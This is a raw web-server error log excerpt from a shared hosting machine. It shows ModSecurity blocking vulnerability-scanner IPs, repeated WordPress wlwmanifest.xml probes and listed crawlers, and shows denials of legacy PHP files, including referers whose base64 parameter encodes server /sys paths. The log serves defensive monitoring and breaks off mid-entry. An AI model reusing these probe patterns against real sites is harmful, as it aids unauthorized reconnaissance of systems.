match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.cyprusyouth.org"] [uri "/robots.txt"] [unique_id "ai3yTimiP80klyS0NnoauwAAAWg"] [Sat Jun 13 18:14:06.205189 2026] [security2:error] [pid 531155:tid 531212] [remote 17.246.15.248:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 248.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yTimiP80klyS0NnoawAABZzg"] [Sat Jun 13 18:14:06.281740 2026] [security2:error] [pid 531155:tid 531221] [remote 17.241.227.73:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 73.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yTimiP80klyS0NnoaxwABdUE"] [Sat Jun 13 18:14:06.305950 2026] [access_compat:error] [pid 531155:tid 531214] [remote 57.141.14.11:38025] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:06.306254 2026] [access_compat:error] [pid 531155:tid 531214] [remote 57.141.14.11:38025] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:06.354696 2026] [access_compat:error] [pid 531155:tid 531161] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQy [Sat Jun 13 18:14:06.354970 2026] [access_compat:error] [pid 531155:tid 531161] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQy [Sat Jun 13 18:14:06.386449 2026] [access_compat:error] [pid 531155:tid 531184] [remote 57.141.14.21:57771] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:06.386744 2026] [access_compat:error] [pid 531155:tid 531184] [remote 57.141.14.21:57771] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:06.611080 2026] [access_compat:error] [pid 531155:tid 531366] [client 47.79.200.100:58508] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.google.com/ [Sat Jun 13 18:14:06.611355 2026] [access_compat:error] [pid 531155:tid 531366] [client 47.79.200.100:58508] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.google.com/ [Sat Jun 13 18:14:06.667399 2026] [security2:error] [pid 531155:tid 531303] [client 143.244.57.82:55874] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.xge.jai.mybluehost.me"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "ai3yTimiP80klyS0Nnoa4AAAARw"] [Sat Jun 13 18:14:06.715955 2026] [security2:error] [pid 531155:tid 531236] [remote 17.22.253.69:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yTimiP80klyS0Nnoa4wABUVA"] [Sat Jun 13 18:14:06.762531 2026] [security2:error] [pid 531155:tid 531370] [client 47.79.207.178:45722] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 178.207.79.47.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.massum.org"] [uri "/mk/index.php"] [unique_id "ai3yTimiP80klyS0Nnoa5gAAAV8"], referer: https://www.google.com/ [Sat Jun 13 18:14:06.892045 2026] [access_compat:error] [pid 531155:tid 531215] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvZGV2aWNl [Sat Jun 13 18:14:06.892522 2026] [access_compat:error] [pid 531155:tid 531215] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvZGV2aWNl [Sat Jun 13 18:14:06.918824 2026] [access_compat:error] [pid 531155:tid 531193] [remote 57.141.14.94:33974] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:06.919304 2026] [access_compat:error] [pid 531155:tid 531193] [remote 57.141.14.94:33974] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:06.925588 2026] [access_compat:error] [pid 531155:tid 531216] [remote 57.141.14.109:63054] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:06.926051 2026] [access_compat:error] [pid 531155:tid 531216] [remote 57.141.14.109:63054] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:06.954996 2026] [security2:error] [pid 531155:tid 531341] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/imap/tests/imap_fetch_overview_variation4.phpt"] [unique_id "ai3yTimiP80klyS0Nnoa9wAAAUI"] [Sat Jun 13 18:14:07.259432 2026] [security2:error] [pid 531155:tid 531328] [client 143.244.57.82:55878] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.xge.jai.mybluehost.me"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "ai3yTymiP80klyS0NnobBwAAATU"] [Sat Jun 13 18:14:07.332099 2026] [access_compat:error] [pid 531155:tid 531275] [remote 57.141.14.100:30333] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:07.332356 2026] [access_compat:error] [pid 531155:tid 531275] [remote 57.141.14.100:30333] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:07.420577 2026] [access_compat:error] [pid 531155:tid 531195] [remote 57.141.14.21:57787] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:07.421077 2026] [access_compat:error] [pid 531155:tid 531195] [remote 57.141.14.21:57787] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:07.435465 2026] [access_compat:error] [pid 531155:tid 531171] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:14:07.435946 2026] [access_compat:error] [pid 531155:tid 531171] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:14:07.560560 2026] [access_compat:error] [pid 531155:tid 531204] [remote 216.73.216.182:42797] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:07.560857 2026] [access_compat:error] [pid 531155:tid 531204] [remote 216.73.216.182:42797] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:07.788700 2026] [security2:error] [pid 531155:tid 531246] [remote 17.241.227.172:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 172.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yTymiP80klyS0NnobKwABcVo"] [Sat Jun 13 18:14:07.852880 2026] [security2:error] [pid 531155:tid 531309] [client 143.244.57.82:55882] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.xge.jai.mybluehost.me"] [uri "/2018/wp-includes/wlwmanifest.xml"] [unique_id "ai3yTymiP80klyS0NnobMAAAASI"] [Sat Jun 13 18:14:07.968791 2026] [access_compat:error] [pid 531155:tid 531166] [remote 57.141.14.96:47483] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:07.969239 2026] [access_compat:error] [pid 531155:tid 531166] [remote 57.141.14.96:47483] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:07.985361 2026] [access_compat:error] [pid 531155:tid 531254] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ1L3Bvd2Vy [Sat Jun 13 18:14:07.985847 2026] [access_compat:error] [pid 531155:tid 531254] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ1L3Bvd2Vy [Sat Jun 13 18:14:07.991565 2026] [security2:error] [pid 531155:tid 531257] [remote 17.246.23.186:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yTymiP80klyS0NnobOgABIGU"] [Sat Jun 13 18:14:08.126129 2026] [security2:error] [pid 531155:tid 531359] [client 114.119.149.142:41097] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.mmccray.com"] [uri "/event/stuarts-draft-retirement-community-il-book-talk-and-signing-april-10-200-300/"] [unique_id "ai3yUCmiP80klyS0NnobQAAAAVQ"], referer: http://mmccray.com/ [Sat Jun 13 18:14:08.206178 2026] [access_compat:error] [pid 531155:tid 531232] [remote 57.141.14.110:60332] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:08.206455 2026] [access_compat:error] [pid 531155:tid 531232] [remote 57.141.14.110:60332] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:08.336283 2026] [security2:error] [pid 531155:tid 531252] [remote 17.246.23.163:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 163.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yUCmiP80klyS0NnobUAABbGA"] [Sat Jun 13 18:14:08.454921 2026] [security2:error] [pid 531155:tid 531384] [client 143.244.57.82:55896] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.xge.jai.mybluehost.me"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "ai3yUCmiP80klyS0NnobVgAAAW0"] [Sat Jun 13 18:14:08.498482 2026] [access_compat:error] [pid 531155:tid 531201] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDcvY2FwYWJpbGl0aWVz [Sat Jun 13 18:14:08.498798 2026] [access_compat:error] [pid 531155:tid 531201] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDcvY2FwYWJpbGl0aWVz [Sat Jun 13 18:14:08.617727 2026] [access_compat:error] [pid 531155:tid 531244] [remote 57.141.14.106:52633] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:08.618104 2026] [access_compat:error] [pid 531155:tid 531244] [remote 57.141.14.106:52633] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:08.938415 2026] [security2:error] [pid 531155:tid 531353] [client 213.159.1.75:39266] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "dennis-cooper.com"] [uri "/event/yellow-pine"] [unique_id "ai3yUCmiP80klyS0NnobbgAAAU4"], referer: http://dennis-cooper.com/calendar-4/action%7Eagenda/page_offset%7E-2/cat_ids%7E14,11/request_format%7Ehtml [Sat Jun 13 18:14:08.972190 2026] [security2:error] [pid 531155:tid 531247] [remote 17.22.237.30:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 30.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yUCmiP80klyS0NnobcAABXVs"] [Sat Jun 13 18:14:08.983018 2026] [security2:error] [pid 531155:tid 531396] [client 114.119.150.22:37085] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.eswest.com"] [uri "/fd/c57646fe23f.shtml"] [unique_id "ai3yUCmiP80klyS0NnobcgAAAXk"], referer: http://www.eswest.com/fd/c57646fe23f.shtml [Sat Jun 13 18:14:09.019730 2026] [access_compat:error] [pid 531155:tid 531279] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9kZXZpY2UvaW5wdXQvaW5wdXQ2L3N1YnN5c3RlbS9ldmVudDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:14:09.020195 2026] [access_compat:error] [pid 531155:tid 531279] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9kZXZpY2UvaW5wdXQvaW5wdXQ2L3N1YnN5c3RlbS9ldmVudDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:14:09.062101 2026] [security2:error] [pid 531155:tid 531390] [client 143.244.57.82:55900] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at 